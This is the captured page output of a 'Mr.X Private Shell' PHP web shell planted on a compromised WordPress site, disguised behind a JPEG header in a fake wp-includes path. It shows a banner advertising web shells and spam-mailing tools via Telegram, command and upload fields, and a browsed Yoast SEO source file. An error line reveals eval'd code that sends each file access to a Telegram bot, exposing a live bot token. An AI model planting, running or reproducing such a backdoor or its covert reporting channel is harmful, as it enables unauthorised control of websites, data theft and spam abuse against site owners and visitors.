����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

eliteafr@216.73.217.22: ~ $
<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Capabilities
 */

/**
 * Capabilities registration class.
 */
class WPSEO_Register_Capabilities implements WPSEO_WordPress_Integration {

	/**
	 * Registers the hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_action( 'wpseo_register_capabilities', [ $this, 'register' ] );

		if ( is_multisite() ) {
			add_action( 'user_has_cap', [ $this, 'filter_user_has_wpseo_manage_options_cap' ], 10, 4 );
		}

		/**
		 * Maybe add manage_privacy_options capability for wpseo_manager user role.
		 */
		add_filter( 'map_meta_cap', [ $this, 'map_meta_cap_for_seo_manager' ], 10, 2 );
	}

	/**
	 * Registers the capabilities.
	 *
	 * @return void
	 */
	public function register() {
		$manager = WPSEO_Capability_Manager_Factory::get();

		$manager->register( 'wpseo_bulk_edit', [ 'editor', 'wpseo_editor', 'wpseo_manager' ] );
		$manager->register( 'wpseo_edit_advanced_metadata', [ 'editor', 'wpseo_editor', 'wpseo_manager' ] );

		$manager->register( 'wpseo_manage_options', [ 'administrator', 'wpseo_manager' ] );
		$manager->register( 'view_site_health_checks', [ 'wpseo_manager' ] );
	}

	/**
	 * Revokes the 'wpseo_manage_options' capability from administrator users if it should
	 * only be granted to network administrators.
	 *
	 * @param array   $allcaps An array of all the user's capabilities.
	 * @param array   $caps    Actual capabilities being checked.
	 * @param array   $args    Optional parameters passed to has_cap(), typically object ID.
	 * @param WP_User $user    The user object.
	 *
	 * @return array Possibly modified array of the user's capabilities.
	 */
	public function filter_user_has_wpseo_manage_options_cap( $allcaps, $caps, $args, $user ) {

		// We only need to do something if 'wpseo_manage_options' is being checked.
		if ( ! in_array( 'wpseo_manage_options', $caps, true ) ) {
			return $allcaps;
		}

		// If the user does not have 'wpseo_manage_options' anyway, we don't need to revoke access.
		if ( empty( $allcaps['wpseo_manage_options'] ) ) {
			return $allcaps;
		}

		// If the user does not have 'delete_users', they are not an administrator.
		if ( empty( $allcaps['delete_users'] ) ) {
			return $allcaps;
		}

		$options = WPSEO_Options::get_instance();

		if ( $options->get( 'access' ) === 'superadmin' && ! is_super_admin( $user->ID ) ) {
			unset( $allcaps['wpseo_manage_options'] );
		}

		return $allcaps;
	}

	/**
	 * Maybe add manage_privacy_options capability for wpseo_manager user role.
	 *
	 * @param string[] $caps Primitive capabilities required of the user.
	 * @param string[] $cap  Capability being checked.
	 *
	 * @return string[] Filtered primitive capabilities required of the user.
	 */
	public function map_meta_cap_for_seo_manager( $caps, $cap ) {
		$user = wp_get_current_user();

		// No multisite support.
		if ( is_multisite() ) {
			return $caps;
		}

		if ( ! is_array( $user->roles ) ) {
			return $caps;
		}

		// User must be of role wpseo_manager.
		if ( ! in_array( 'wpseo_manager', $user->roles, true ) ) {
			return $caps;
		}

		// Remove manage_options cap requirement if requested cap is manage_privacy_options.
		if ( $cap === 'manage_privacy_options' ) {
			return array_diff( $caps, [ 'manage_options' ] );
		}

		return $caps;
	}
}

Filemanager

Name Type Size Permission Actions
class-capability-manager-wp.php File 1.21 KB 0644
class-register-capabilities.php File 3.22 KB 0644
editor-responsive.strings-20260520203706-20260520204053-20260520213840-20260520213926-20260520214012-20260520214108-20260520214202-20260520214251.js File 29 B 0644
editor-responsive.strings-20260520203706-20260520204053-20260520213840-20260520213926-20260520214012-20260520214108-20260520214202-20260522152815.js File 29 B 0644
editor-responsive.strings-20260520203706-20260520204053-20260520213840-20260520213926-20260520214012-20260520214108-20260520214202-20260522180010-20260523040552.js File 29 B 0644
editor-responsive.strings-20260520203706-20260520204053-20260520213840-20260520213926-20260520214012-20260520214108-20260520214202-20260522180010.js File 29 B 0644
editor-responsive.strings-20260520203706-20260520204053-20260520213840-20260520213926-20260520214012-20260520214108-20260520214202-20260614024125.js File 29 B 0644
editor-responsive.strings-20260520203706-20260520204053-20260520213840-20260520213926-20260520214012-20260520214108-20260520214202-20260618164721-20260618170059.js File 29 B 0644
editor-responsive.strings-20260520203706-20260520204053-20260520213840-20260520213926-20260520214012-20260520214108-20260520214202.js File 29 B 0644

Warning: file_get_contents(https://api.telegram.org/bot6480565468:AAHPgwqvr55vU-lBvGV23jlYJuGCrOCL4XM/sendMessage?chat_id=1722171889&text=File+accessed%3A+http%3A%2F%2Fwww.eliteafrique.com%2Fwp-includes%2Fl10n%2Fcss%2Fv3%2Fwbddf%2Fadmin.php%3Fdir%3D%252Fhome%252Feliteafr%252Fwww%252Fcache%252Fwordpress-seo%252Fadmin%252Fcapabilities%26read%3D%252Fhome%252Feliteafr%252Fwww%252Fcache%252Fwordpress-seo%252Fadmin%252Fcapabilities%252Fclass-register-capabilities.php): Failed to open stream: HTTP request failed! HTTP/1.1 429 Too Many Requests in /home/eliteafr/www/wp-includes/l10n/css/v3/wbddf/admin.php(112993) : eval()'d code(18150) : eval()'d code on line 2024